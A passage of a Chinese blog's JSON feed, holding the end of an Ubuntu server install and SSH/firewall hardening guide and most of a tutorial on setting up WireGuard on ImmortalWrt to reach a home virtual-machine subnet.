src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224115.png\" alt=\"\" width=\"1571\" height=\"972\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224115-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224115-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224115-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224115-xl.webp 1024w\"></figure>\n<p>这个弹窗选择<code>Continue</code>即可（最终确认界面）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224253.png\" alt=\"\" width=\"1570\" height=\"970\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224253-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224253-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224253-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224253-xl.webp 1024w\"></figure>\n<h4>第九步：配置用户名和密码</h4>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224438.png\" alt=\"\" width=\"1565\" height=\"971\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224438-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224438-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224438-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224438-xl.webp 1024w\"></figure>\n<h4>第十步：不要选择Ubuntu Pro服务，只需勾选这下面的即可</h4>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/installubuntu1.png\" alt=\"\" width=\"1561\" height=\"972\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/installubuntu1-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/installubuntu1-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/installubuntu1-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/installubuntu1-xl.webp 1024w\"></figure>\n<h4>第十一步：安装远程SSH工具</h4>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/2.png\" alt=\"\" width=\"1570\" height=\"974\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/2-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/2-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/2-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/2-xl.webp 1024w\"></figure>\n<h4>第十二步骤：等待系统完成安装</h4>\n<h6 dir=\"auto\">不需要操作，耐心等待 即可（通常需要 5-15 分钟，取决于网速）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224958.png\" alt=\"\" width=\"1561\" height=\"974\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224958-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224958-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224958-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224958-xl.webp 1024w\"></figure>\n<h4>安全加固部分如下</h4>\n<h5>第一步：更新系统软件包</h5>\n<pre class=\"language-bash line-numbers\"><code>sudo apt update &amp;&amp; sudo apt upgrade -y</code></pre>\n<h5 class=\"text-text-100 mt-2 -mb-1 text-base font-bold\">第二步：SSH 安全加固（最重要）</h5>\n<h6 class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\"><strong>2.1 创建普通用户，禁止 root 直接登录</strong></h6>\n<pre class=\"language-bash line-numbers\"><code># 创建新用户\nadduser yourname\n# 加入 sudo 组\nusermod -aG sudo yourname</code></pre>\n<h6 class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\"><strong>2.2 配置 SSH 密钥登录</strong></h6>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">在你的 <strong>本地电脑</strong>（Windows）上生成密钥对：</p>\n<pre class=\"language-bash line-numbers\"><code>ssh-keygen -t ed25519 -C \"your-server\"\n# 默认生成在 C:\\Users\\你的用户名\\.ssh\\id_ed25519</code></pre>\n<p>把公钥上传到服务器：</p>\n<pre class=\"language-bash line-numbers\"><code># 在服务器上，切换到新用户\nsu - yourname\nmkdir -p ~/.ssh &amp;&amp; chmod 700 ~/.ssh\n# 把你本地的 id_ed25519.pub 内容粘贴进来\nnano ~/.ssh/authorized_keys\nchmod 600 ~/.ssh/authorized_keys</code></pre>\n<h6>2.3 修改 SSH 配置</h6>\n<pre class=\"language-bash line-numbers\"><code>nano /etc/ssh/sshd_config</code></pre>\n<p>需要修改或确认的关键项：</p>\n<pre class=\"language-bash line-numbers\"><code>Port 22222          # 改成非标准端口（减少扫描骚扰）\nPermitRootLogin no  # 禁止 root 登录\nPasswordAuthentication no  # 禁止密码登录（配好密钥后再改）\nMaxAuthTries 3</code></pre>\n<p>改完重启 SSH（<strong>先不要断开当前连接，开一个新窗口测试</strong>）：</p>\n<pre class=\"language-bash line-numbers\"><code>systemctl restart sshd</code></pre>\n<h5>第三步：配置防火墙 UFW</h5>\n<pre class=\"language-bash line-numbers\"><code>apt install ufw -y\n\n# 先允许你的新 SSH 端口，再启用！顺序很重要\nufw allow 22222/tcp   # 替换成你设的端口\nufw allow 80/tcp      # 如果有 Web 服务\nufw allow 443/tcp\n\nufw enable\nufw status</code></pre>\n<h5>第四步：安装 Fail2Ban（防爆破）</h5>\n<pre class=\"language-bash line-numbers\"><code>apt install fail2ban -y\nsystemctl enable fail2ban\nsystemctl start fail2ban</code></pre>\n<p>基础配置已经够用，它会自动监控 SSH 登录失败并封 IP</p>\n<h5>第五步：关闭不需要的服务</h5>\n<pre class=\"language-bash line-numbers\"><code># 查看当前监听的端口\nss -tlnp\n# 查看运行的服务\nsystemctl list-units --type=service --state=running</code></pre>\n<p>看到不需要的服务就 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">systemctl disable --now 服务名</code></p>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "Linux学习笔记"
            ],
            "date_published": "2026-05-02T20:58:22+09:00",
            "date_modified": "2026-05-07T12:12:32+09:00"
        },
        {
            "id": "https://old.zeyun.org/use_wireguard_home_to_home.html",
            "url": "https://old.zeyun.org/use_wireguard_home_to_home.html",
            "title": "使用 WireGuard 实现家庭网络跨网段访问",
            "summary": "环境说明： 使用ImmortalWrt 24.10.5 作为内网网关（使用家庭路由器下发的固定IP） 家庭内网&hellip;",
            "content_html": "<h4>环境说明：</h4>\n<ul>\n<li>使用ImmortalWrt 24.10.5 作为内网网关（使用家庭路由器下发的固定IP）</li>\n<li>家庭内网 WiFi 网段是 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">192.168.31.0/24</code></li>\n<li>虚拟机内网网段是 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">10.10.10.0/24</code></li>\n<li>目标是在家庭网段直接通过VPN拨号进内网虚拟机</li>\n</ul>\n<h4>实现思路：</h4>\n<pre class=\"language-bash line-numbers\"><code>笔记本 (10.10.20.2)\n  ↓ WireGuard 加密隧道\nImmortalWrt wg0 (10.10.20.1)\n  ↓ 路由转发（经过 eth1: 10.10.10.1）\n虚拟机网段 (10.10.10.x)</code></pre>\n<p>注意这里有<strong>三个网段</strong>，不要搞混</p>\n<table class=\"min-w-full border-collapse text-sm leading-[1.7] whitespace-normal\" style=\"width: 100%; height: 195.75px;\">\n<thead class=\"text-left\">\n<tr style=\"height: 48.5625px;\">\n<th class=\"text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold\" style=\"width: 35.5536%; height: 48.5625px;\" scope=\"col\">网段</th>\n<th class=\"text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold\" style=\"width: 64.304%; height: 48.5625px;\" scope=\"col\">用途</th>\n</tr>\n</thead>\n<tbody>\n<tr style=\"height: 49.0625px;\">\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\" style=\"width: 35.5536%; height: 49.0625px;\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">192.168.31.0/24</code></td>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\" style=\"width: 64.304%; height: 49.0625px;\">家庭 WiFi，路由器的外网侧</td>\n</tr>\n<tr style=\"height: 49.0625px;\">\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\" style=\"width: 35.5536%; height: 49.0625px;\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">10.10.10.0/24</code></td>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\" style=\"width: 64.304%; height: 49.0625px;\">PVE 虚拟机内网（最终访问的）</td>\n</tr>\n<tr style=\"height: 49.0625px;\">\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\" style=\"width: 35.5536%; height: 49.0625px;\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">10.10.20.0/24</code></td>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\" style=\"width: 64.304%; height: 49.0625px;\">WireGuard 专用虚拟网段（新建的）</td>\n</tr>\n</tbody>\n</table>\n<p><code>*注意事项</code>：</p>\n<ul>\n<li>WireGuard 需要一个<strong>独立的虚拟网段</strong>来做隧道（不能和已有网段重叠，所以我们新开了 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">10.10.20.0/24</code>）</li>\n<li>这里的 ImmortalWrt 24.10.5 我添加了两张网卡（需要同时涉及到家庭内网网段和虚拟机内网网段）</li>\n</ul>\n<h4>有关于 ImmortalWrt 的配置部分</h4>\n<p>（我这里的ImmortalWrt为了方便演示和理解，我安装了图形化的操作环境）</p>\n<h4 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">第一步：登录ImmortalWrt Web操作界面</h4>\n<p>这里我装了一个主题（都是一样的用法）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-164040.png\" alt=\"\" width=\"2879\" height=\"1611\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-164040-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-164040-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-164040-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-164040-xl.webp 1024w\"></figure>\n<h4 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">第二步：安装必要的 WireGuard 装包</h4>\n<p>ImmortalWrt 已经内置了 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">wireguard-tools</code> 和 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">kmod-wireguard</code>（内核模块）</p>\n<p>按照下图所示，搜索这3个包，并安装</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/An-Zhuang-Bao.png\" alt=\"\" width=\"2879\" height=\"1622\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/An-Zhuang-Bao-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/An-Zhuang-Bao-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/An-Zhuang-Bao-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/An-Zhuang-Bao-xl.webp 1024w\"></figure>\n<p>这些wireguard资源包，如果能搜索到，可以直接在图形化界面里安装，如果搜索不到，可使用如下bash命令，在终端里安装</p>\n<pre class=\"language-batch line-numbers\"><code>opkg update &amp;&amp; opkg install luci-proto-wireguard wireguard-tools kmod-wireguard</code></pre>\n<p>装完之后刷新 LuCI 页面，网络 → 接口 → 新建接口时，协议下拉列表里就会出现 <strong>WireGuard VPN</strong> 选项</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-154901.png\" alt=\"\" width=\"2703\" height=\"925\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-154901-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-154901-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-154901-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-154901-xl.webp 1024w\"></figure>\n<h4>第三步：创建 wg0 接口</h4>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">进入 <strong>网络 → 接口 → 添加新接口</strong>：</p>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"whitespace-normal break-words pl-2\">名称：<code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">wg0</code></li>\n<li class=\"whitespace-normal break-words pl-2\">协议：<code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">WireGuard VPN</code></li>\n<li class=\"whitespace-normal break-words pl-2\">点「创建接口」</li>\n</ul>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">进入配置页面后：</p>\n<ol class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-decimal flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"whitespace-normal break-words pl-2\">点「<strong>生成新的密钥对</strong>」—— 私钥和公钥自动填好</li>\n<li class=\"whitespace-normal break-words pl-2\"><strong>把公钥单独复制保存</strong>，后面配客户端要用</li>\n<li class=\"whitespace-normal break-words pl-2\">监听端口填 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">51820</code>（固定端口，不要用随机）</li>\n<li class=\"whitespace-normal break-words pl-2\">IP 地址点绿色 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">+</code>，填 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">10.10.20.1/24</code></li>\n</ol>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-165513.png\" alt=\"\" width=\"2314\" height=\"1505\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-165513-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-165513-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-165513-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-165513-xl.webp 1024w\"></figure>\n<p>（我们配置的这个 IP 是路由器在 WireGuard 虚拟网段里的地址，就像它在这个虚拟局域网里的\"门牌号\"）</p>\n<h4>第四步：防火墙设置</h4>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">在 wg0 接口的「<strong>防火墙设置</strong>」标签，把防火墙区域选为 <strong>lan</strong></p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-155113.png\" alt=\"\" width=\"2606\" height=\"851\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-155113-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-155113-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-155113-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-155113-xl.webp 1024w\"></figure>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">(把 VPN 拨进来的客户端当成\"自家人\"，和内网设备享受同等待遇，可以互相访问)</p>\n<h4>第五步：添加对端（Peer）</h4>\n<p>切换到「<strong>对端</strong>」标签，点「添加对端」，填写笔记本的信息</p>\n<table class=\"min-w-full border-collapse text-sm leading-[1.7] whitespace-normal\">\n<thead class=\"text-left\">\n<tr>\n<th class=\"text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold\" scope=\"col\">字段</th>\n<th class=\"text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold\" scope=\"col\">填写内容</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\">描述</td>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">My Computer</code>（随便写，备注用）</td>\n</tr>\n<tr>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\">公钥</td>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\">笔记本客户端的公钥（暂时先不填，别急着保存，获取请见第六步）</td>\n</tr>\n<tr>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\">允许的 IP</td>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">10.10.20.2/32</code></td>\n</tr>\n<tr>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\">持续保活</td>\n<td class=\"border-b-0.5 border-border-300/30 py-2 pr-4 align-top\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">25</code></td>\n</tr>\n</tbody>\n</table>\n<h4>第六步：配置笔记本客户端</h4>\n<p>下载Wireguard客户端：<a href=\"wireguard.com/install \" target=\"_blank\" rel=\"noopener noreferrer\">点我前往官网</a></p>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">安装完之后：</p>\n<ol class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-decimal flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"whitespace-normal break-words pl-2\">点「新建隧道 → 新建空隧道」</li>\n<li class=\"whitespace-normal break-words pl-2\">它会自动生成客户端的密钥对，界面上显示<strong>公钥</strong></li>\n<li class=\"whitespace-normal break-words pl-2\">把这个公钥填回第四步的服务端配置里</li>\n</ol>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-171100.png\" alt=\"\" width=\"1306\" height=\"1027\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-171100-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-171100-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-171100-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-171100-xl.webp 1024w\"></figure>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Pei-Zhi-Gong-Yao.png\" alt=\"\" width=\"1311\" height=\"1029\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Gong-Yao-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Gong-Yao-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Gong-Yao-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Gong-Yao-xl.webp 1024w\"></figure>\n<p>配置文件内容如下（直接粘贴在上图红色框框的部分）</p>\n<pre class=\"language-bash line-numbers\"><code>Address = 10.10.20.2/24\nDNS = 10.10.10.1\n\n[Peer]\nPublicKey = &lt;服务端公钥，就是第二步复制的那串&gt;\nEndpoint = 192.168.31.11:51820\nAllowedIPs = 10.10.10.0/24, 10.10.20.0/24\nPersistentKeepalive = 25</code></pre>\n<p>重点说一下 <strong>AllowedIPs</strong> 这个参数，翻译成人话就是：<strong>只有访问这两个网段的流量才走 WireGuard 隧道</strong>，其他流量（比如你正在用的 v2rayN）完全不受影响</p>\n<p>如果你写 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">0.0.0.0/0</code> 才会把所有流量都抢过来（这里我们配置的时候选择这个我们需要的两个10和20网段）</p>\n<h5>回到网页端，配置 ImmortalWrt  上的信息</h5>\n<p>最终配置的像我下图一样即可</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Pei-Zhi-Jian-Cha-1.png\" alt=\"\" width=\"2742\" height=\"1480\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-1-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-1-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-1-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-1-xl.webp 1024w\"></figure>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Pei-Zhi-Jian-Cha-2.png\" alt=\"\" width=\"2538\" height=\"994\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-2-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-2-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-2-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-2-xl.webp 1024w\"></figure>\n<h4>第七步：保存并应用</h4>\n<p>服务端配置完之后，点「<strong>保存并应用</strong>」，然后在笔记本客户端点「<strong>连接</strong>」</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-172929.png\" alt=\"\" width=\"1328\" height=\"1039\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-172929-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-172929-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-172929-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-172929-xl.webp 1024w\"></figure>\n<h4>验证&amp;排错部分</h4>\n<p>先验证一下机器能否Ping通内网的网关</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-173124.png\" alt=\"\" width=\"2350\" height=\"1225\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173124-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173124-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173124-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173124-xl.webp 1024w\"></figure>\n<p>发现没用问题后，尝试远程连接内网机器</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-173323.png\" alt=\"\" width=\"1826\" height=\"1068\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173323-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173323-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173323-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173323-xl.webp 1024w\"></figure>\n<p>可以连通，即为成功</p>\n<h5>我在配置时候遇到的问题</h5>\n<h6 class=\"text-text-100 mt-2 -mb-1 text-base font-bold\">问题一：激活之后 ping 不通任何内网地址</h6>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\"><strong>现象</strong>：客户端显示已连接，但 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">ping 10.10.20.1</code> 全部超时</p>\n<p><strong>排查</strong>：在 ImmortalWrt 终端执行 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">wg show</code>，发现输出里<strong>没有任何 peer 信息</strong>，说明服务端根本没加载到对端配置（例如下图所示）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-173627.png\" alt=\"\" width=\"970\" height=\"154\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173627-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173627-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173627-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173627-xl.webp 1024w\"></figure>\n<p><strong>原因</strong>：LuCI 